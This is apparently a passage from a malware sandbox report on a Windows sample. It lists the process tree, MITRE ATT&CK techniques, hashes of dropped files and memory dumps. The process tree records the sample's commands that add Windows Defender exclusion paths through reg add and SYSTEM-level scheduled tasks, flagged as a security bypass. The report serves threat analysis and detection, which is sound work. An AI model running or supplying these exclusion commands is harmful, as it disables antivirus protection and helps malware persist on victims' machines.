      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2304
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2864
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:1980

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\6hTMWS" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4624
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\6hTMWS" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5584

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:3424

C:\Users\Public\6hTMWS\ChjTlE.exe
"C:\Users\Public\6hTMWS\ChjTlE.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4864

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3164
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2112

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5144
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3056

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3820
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4356

C:\Program Files (x86)\itBsaE\0hHpZw.exe
"C:\Program Files (x86)\itBsaE\0hHpZw.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:5844

C:\Program Files (x86)\itBsaE\0hHpZw.exe
"C:\Program Files (x86)\itBsaE\0hHpZw.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3604

C:\Program Files (x86)\SY9sZ1CU7\YE9tqn.exe
"C:\Program Files (x86)\SY9sZ1CU7\YE9tqn.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2316

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:3612
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5868

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:1824
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:3396
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5004

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:588
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4472

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:2612
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2036

C:\Program Files (x86)\itBsaE\0hHpZw.exe
"C:\Program Files (x86)\itBsaE\0hHpZw.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:1908

C:\Program Files (x86)\SY9sZ1CU7\YE9tqn.exe
"C:\Program Files (x86)\SY9sZ1CU7\YE9tqn.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3128

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Remote Services

T1021

Remote Desktop Protocol

T1021.001

Collection

Video Capture

T1125

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\SY9sZ1CU7\XPSPLOG.dll
Size 4.6MB
SHA256 97759e14e45a7676170eedf2124f7cee450d9fe87436fe1742020c2141eebeeb
MD5 0b131eaefe9acc2f978f15a976825049
SHA1 a74399e8806596e3a695c299552654f8e4cffb4a
SHA512 305127656c585160e4948675c196dd68d70c923c78cc3f2aa472b4ed6efb52e87408124f66c2ac6466b2c681a851c4d71f9141a81f0927bb02f584178a1335a1
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyt:BMWKfU+BcUTHCCCfqCiUffnt
TLSH
T1A3263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\SY9sZ1CU7\image.png
Size 4.8MB
SHA256 a7b5dcd2d464a5463ba81fbe8bb5ffb144f3bf11f10e166cffbc194fc6eb4448
MD5 bbf3b7af690d2a8b95b20ed441c2ad1a
SHA1 9ae42f048625222ebe296e2ebde1969a61346f23
SHA512 4d5b7d00e8d45bdb5a4e9e50f3019702b3d956d8a605bf4025f151772bc9dd62431553533cec1f82c79b6acf6c638ffcc2948787bb6f40d726a3d9c85254c99b
SSDEEP 98304:w/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:wMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T12D36334FE6EFBED9C39CF7EA71098A30D63A4FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0hHpZw.exe

Path C:\Program Files (x86)\itBsaE\0hHpZw.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\itBsaE\XPSPLOG.dll
Size 4.6MB
SHA256 1326b728eb1ef177f929fb67b801300545089fcb30dbc4bba77a4e3f1d369fc1
MD5 d2b24da9742639c74f8e63505ceec840
SHA1 17bc57a319aacb4582f2ea280f385757d9263129
SHA512 259ad402ae8c2d521d6bbf4694257a7cf685ee62079ee2c9520ce2f2e06c2ddac998f4f3988a7d089f2c41307f87fea672f302fb9439db12f909d44729cd6636
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyU:BMWKfU+BcUTHCCCfqCiUffnU
TLSH
T11D263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\itBsaE\image.png
Size 4.8MB
SHA256 242b82df9e8c7a8fc0c5eb816bbe6aacd134d72c956dab460817dac7c5df0cc6
MD5 12711a63b4a7f7e9c1cc0465c2064cad
SHA1 75c72a02eebef9e3e01d3c6c5f4f6681314980f5
SHA512 fad46621b09a631b0236c1475f2b93e5c36ec97680643974f8f37043c198eb8b2b4a7ae17b71a91e5671a649defdf7a9556286d99ddcf96e2409d3d1e4dfb08e
SSDEEP 98304:S/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:SMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T15736334FE6EFBED9C39CF7EA71098A30D63A8FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\itBsaE\thumbs.db
Size 358KB
SHA256 f3d22a1b94a709d90318cb9dd8e8c5d1ac5d1e19ba086a0f32751304b046f8c0
MD5 ea7697d638a2a3f1745cd637216246a6
SHA1 46a0e6056cc8628724f27a47ebf7a32a4e30da2c
SHA512 fe55bf2431eeda21d49988a2e9ebdc3dcc2c888eda59fe26cdfe3d397fd5454cdd53c2db1a23138a4e906bf574276c6dbbd8a7a67c4c58f0b68a0509e47c1c3b
SSDEEP 6144:biACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:e8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T1C274F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 7738054fc915d59309e06c7b83f042860aa38485957c231b6650a9153df3d8af
MD5 8ac53d126952510ab2aa86a64f61bdc9
SHA1 939a683d70855a8457a9bd4fde909910f708ca3e
SHA512 4f883c91e145bdf67162e730275285a24c627e288e070fe7efe4813b574620ab4dedf1b46397db3621b87a67be8b051395fa69031b8557031df85c2cba13344a
TLSH
T1583196F72FA869C28F2A4D9125DAF1262CE5A1849CD9049D6205C8545F043B22E5D90D
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 a63b47dec175a827b588c54002ff7740cdaa5b114c5d8b82dfcd01d1af92074a
MD5 42ab06de6d510c09d3ed82faead50097
SHA1 80bbbe85e5a3ccf7a8c3e20d4633920350b90fac
SHA512 5e28c7e1310a2b488421ceb701e752629c4df40625310d55291c4870274a855be019b1b57fe847c18c7c16fdce5490615ce10e1f651155fd46f7272444bc90db
TLSH
T1DE31D6A78A3900539F0C5F2966C1D23F6CF6A2265CA04812253EC3FA8204FBB6F89010
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 e49bd6fe7e1b97dd546f65f4abef3b539cf910fe65988675b0e144660c6b9f9c
MD5 d75fd51e780d58c981c34caf3c2c68f1
SHA1 d9c82394b046fe1f4c64ccf832e4c0801c363a96
SHA512 f3a433dbd7b37d96695fc7d9ab6e3177b20f7235f4573c5a3309d18cd82282e8a231e66ba814073abb8f35eaf050c67d22645ce9675c1e6302a7decf350cae0c
TLSH
T184F05C306DBC433DF133AB3DCAC579E606ABF6121812459407A547086A136435D535B5
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 96b15f9787146a9bd96f7d1cd37006a9151e8e47f7272d648b658c8f5905cca5
MD5 12238c969684fcc13e1c116335054dd4
SHA1 8add73f7c2aaaffc66a5e933f889bb30fee543de
SHA512 a97fc1916013b9068aab86d95d84b080ef5f1d19c2b65b7555db60e3975122117358b649888a588fa3fba9ab04963744f59732e86face86ef5259e32c0a711ab
TLSH
T189F05C3957EA411FF177D2BC86D276F25F2DF523204669AB0AE503441AA2C403C526AA
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 ca43003fdcee18eb6eb81d91ae6e96ed1a88aff53ac2a4d8e784c5ecac7131b3
MD5 87c1dd76103469eafefdb8947b58464c
SHA1 b069ea4d1de18310253e87515015efe67dba6cd0
SHA512 9d4827a9e145e68f9fa080b65cbffda36a2bedcadca444d59ef8e4166c280a823c8eec82c59043f1e7b7ca49dd8e1a8aad21059e3702fb02e44a5b7a5b1c0543
TLSH
T1C6216837B3DC8614C89A413A10CDAC1036B6C7DB80DECFAB7B85E659A42F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_tjzfsibf.qzz.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tjzfsibf.qzz.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

ChjTlE.exe

Path C:\Users\Public\6hTMWS\ChjTlE.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\6hTMWS\UxEnhance64.dll
Size 3.1MB
SHA256 422489db06262b40d09139d9cd720dfdc92a18dec4aadd42de4c78054ed2f24a
MD5 31485fed221583dc6d3a586254b92151
SHA1 3ebaecf1c6d0c7180ad9a1c517c77b5ad1dd0802
SHA512 90783cd999e0f9011d4542033bddde8fcccc1b3f959637b8d5f1df35a4585723ce53c6fe12fdd9543e9b1897b28153a84638239a654d8e09334183f49d733981
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+o:P9m29xx3Tiqt06ox6+z2rNNrKoo
TLSH
T1DFE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\6hTMWS\adoresd.dat
Size 4.8MB
SHA256 246357bf449d5eb057cb0d5ff6ae97b2c34f68219e25f085bd588db5d21de0b1
MD5 5619f999a2f1000f590606a378b69aea
SHA1 835682e9aed436973716d4e62e44153c83eb736b
SHA512 78d125224e71a464481917ac089e1cd585b085ac70c0097af055991d693e34387b0b36879e9b7c872161dba6a12e02b8fafa61e8326cc17030faae3b3984b8c2
SSDEEP 98304:SWjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:SWj3WRdRQH5fimPGmNc7dBtYOc
TLSH
T1303633AB2FC2F55F5582315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\6hTMWS\msadox.tb
Size 8KB
SHA256 86a3b8060b729c00b8f82ac12487e0058cc5cd877b1efb0d149e7cc01c450124
MD5 3c612849e8fbe01fe26f41f049593262
SHA1 3295a62696869b00d3a844aedc3b26cf34b4983f
SHA512 82e153fb64a53e8d2ccd8d5174e14e5a1d96a2c2cd7e13d1f256cf1fd585eedf5ae04a147fe23317275190d6557059a07d1deaa313a659f46df9758710b4f34f
SSDEEP 192:kqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:ksZqZOXQ3uqvR2Kfzp
TLSH
T191029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

xxxx.ini

Path \??\c:\xxxx.ini
Size 2B
SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
MD5 81051bcc2cf1bedf378224b0a93e2877
SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d
MD5 SHA1 SHA512

Submit Download

memory/260-548-0x0000022A098A0000-0x0000022A0A177000-memory.dmp

Download

memory/260-552-0x0000022A098A0000-0x0000022A0A177000-memory.dmp

Download

memory/260-558-0x0000022A098A0000-0x0000022A0A177000-memory.dmp

Download

memory/260-563-0x0000022A0A700000-0x0000022A0A78A000-memory.dmp

Download

memory/260-564-0x0000022A0A700000-0x0000022A0A78A000-memory.dmp

Download

memory/260-562-0x0000022A0A700000-0x0000022A0A78A000-memory.dmp

Download

memory/260-561-0x0000022A0A700000-0x0000022A0A78A000-memory.dmp

Download

memory/260-560-0x0000022A0A250000-0x0000022A0A29E000-memory.dmp

Download

memory/260-566-0x0000022A098A0000-0x0000022A0A177000-memory.dmp

Download

memory/260-568-0x0000022A098A0000-0x0000022A0A177000-memory.dmp

Download

memory/260-547-0x0000022A098A0000-0x0000022A0A177000-memory.dmp

Download

memory/260-546-0x0000022A098A0000-0x0000022A0A177000-memory.dmp

Download

memory/260-545-0x0000022A098A0000-0x0000022A0A177000-memory.dmp

Download

memory/260-540-0x00007FFC1EFA0000-0x00007FFC1EFA2000-memory.dmp

Download

memory/260-541-0x0000022A098A0000-0x0000022A0A177000-memory.dmp

Download

memory/260-538-0x0000022A098A0000-0x0000022A0A177000-memory.dmp

Download

memory/260-533-0x00007FFBFC2D0000-0x00007FFBFC7EE000-memory.dmp

Download

memory/260-532-0x00007FFC1EF90000-0x00007FFC1EF92000-memory.dmp

Download

memory/472-693-0x00000000036E0000-0x0000000003EBD000-memory.dmp

Download

memory/472-685-0x0000000074640000-0x0000000074D8A000-memory.dmp

Download

memory/472-775-0x0000000006CC0000-0x0000000006CFD000-memory.dmp

Download

memory/472-782-0x00000000036E0000-0x0000000003EBD000-memory.dmp

Download

memory/472-738-0x00000000036E0000-0x0000000003EBD000-memory.dmp

Download

memory/472-726-0x00000000036E0000-0x0000000003EBD000-memory.dmp

Download

memory/472-712-0x0000000010000000-0x0000000010061000-memory.dmp

Download

memory/472-704-0x00000000036E0000-0x0000000003EBD000-memory.dmp

Download

memory/472-703-0x00000000013A0000-0x00000000013B4000-memory.dmp

Download

memory/472-696-0x00000000036E0000-0x0000000003EBD000-memory.dmp

Download

memory/472-691-0x0000000000FC0000-0x0000000000FC1000-memory.dmp

Download

memory/472-689-0x00000000036E0000-0x0000000003EBD000-memory.dmp

Download

memory/472-684-0x0000000000FA0000-0x0000000000FA1000-memory.dmp

Download

memory/1908-826-0x0000000003AC0000-0x000000000429D000-memory.dmp

Download

memory/1908-838-0x0000000001590000-0x0000000001591000-memory.dmp

Download

memory/1908-822-0x0000000001590000-0x0000000001591000-memory.dmp

Download

memory/1908-835-0x0000000003AC0000-0x000000000429D000-memory.dmp

Download

memory/1908-823-0x0000000074640000-0x0000000074D8A000-memory.dmp

Download

memory/1908-834-0x00000000015B0000-0x00000000015B1000-memory.dmp

Download

memory/2052-607-0x000001C712EA0000-0x000001C712EC2000-memory.dmp

Download

memory/2052-615-0x000001C72B520000-0x000001C72B5D2000-memory.dmp

Download

memory/2052-616-0x000001C72B4D0000-0x000001C72B4DA000-memory.dmp

Download

memory/2052-614-0x000001C72B4B0000-0x000001C72B4CE000-memory.dmp

Download

memory/2316-772-0x0000000003590000-0x0000000003D6D000-memory.dmp

Download

memory/2316-768-0x0000000072780000-0x0000000072ECA000-memory.dmp

Download

memory/2316-793-0x0000000003590000-0x0000000003D6D000-memory.dmp

Download

memory/2316-798-0x0000000000EE0000-0x0000000000EE1000-memory.dmp

Download

memory/2316-767-0x0000000000EE0000-0x0000000000EE1000-memory.dmp

Download

memory/2316-792-0x0000000001250000-0x0000000001251000-memory.dmp

Download

memory/3128-829-0x0000000071F70000-0x00000000726BA000-memory.dmp

Download

memory/3128-832-0x0000000003020000-0x00000000037FD000-memory.dmp

Download

memory/3128-828-0x0000000000A60000-0x0000000000A61000-memory.dmp

Download

memory/3604-759-0x0000000074640000-0x0000000074D8A000-memory.dmp

Download

memory/3604-758-0x00000000009D0000-0x00000000009D1000-memory.dmp

Download

memory/4864-598-0x00007FFC1EF90000-0x00007FFC1EF92000-memory.dmp

Download

memory/4864-585-0x0000024B68F80000-0x0000024B69857000-memory.dmp

Download

memory/4864-590-0x0000024B68F80000-0x0000024B69857000-memory.dmp

Download

memory/4864-596-0x0000024B68F80000-0x0000024B69857000-memory.dmp

Download

memory/4864-595-0x0000024B68F80000-0x0000024B69857000-memory.dmp

Download

memory/4864-582-0x00007FFBFC2D0000-0x00007FFBFC7EE000-memory.dmp

Download

memory/4864-597-0x0000024B68F80000-0x0000024B69857000-memory.dmp

Download

memory/4864-594-0x0000024B68F80000-0x0000024B69857000-memory.dmp

Download

memory/4864-589-0x00007FFC1EFA0000-0x00007FFC1EFA2000-memory.dmp

Download

memory/5332-801-0x0000000005DA0000-0x0000000005DEC000-memory.dmp

Download

memory/5332-800-0x0000000005D20000-0x0000000005D3E000-memory.dmp

Download

memory/5332-790-0x0000000005770000-0x00000000057D6000-memory.dmp

Download

memory/5332-780-0x0000000005050000-0x000000000569A000-memory.dmp

Download

memory/5332-791-0x0000000005850000-0x00000000058B6000-memory.dmp

Download

memory/5332-779-0x00000000024F0000-0x0000000002526000-memory.dmp

Download

memory/5332-797-0x00000000058C0000-0x0000000005C1B000-memory.dmp

Download

memory/5332-784-0x00000000056A0000-0x00000000056C2000-memory.dmp

Download

memory/5332-816-0x0000000007290000-0x00000000072A1000-memory.dmp

Download

memory/5332-814-0x0000000007110000-0x000000000711A000-memory.dmp

Download

memory/5332-815-0x0000000007310000-0x00000000073A6000-memory.dmp

Download

memory/5332-802-0x0000000006F30000-0x0000000006F66000-memory.dmp

Download

memory/5332-803-0x0000000072D70000-0x0000000072DBC000-memory.dmp

Download

memory/5332-810-0x0000000006EF0000-0x0000000006F10000-memory.dmp

Download

memory/5332-811-0x0000000006F70000-0x0000000007013000-memory.dmp

Download

memory/5332-812-0x00000000076E0000-0x0000000007D5C000-memory.dmp

Download

memory/5332-813-0x00000000070A0000-0x00000000070BA000-memory.dmp

Download

memory/5844-755-0x0000000002FE0000-0x00000000037BD000-memory.dmp

Download

memory/5844-754-0x0000000000A60000-0x0000000000A61000-memory.dmp

Download

memory/5844-764-0x0000000000A40000-0x0000000000A41000-memory.dmp

Download

memory/5844-748-0x0000000002FE0000-0x00000000037BD000-memory.dmp

Download

memory/5844-744-0x0000000074640000-0x0000000074D8A000-memory.dmp

Download

memory/5844-743-0x0000000000A40000-0x0000000000A41000-memory.dmp

Download

memory/6068-504-0x00007FFC16A20000-0x00007FFC16A32000-memory.dmp

Download

memory/6068-1-0x0000000000490000-0x000000000049E000-memory.dmp

Download

memory/6068-2-0x00000000004A0000-0x00000000004AC000-memory.dmp

Download

memory/6068-526-0x0000000000490000-0x000000000049E000-memory.dmp

Download

memory/6068-527-0x00007FFC16A20000-0x00007FFC16A32000-memory.dmp

Download

memory/6068-0-0x0000000000490000-0x000000000049E000-memory.dmp

Download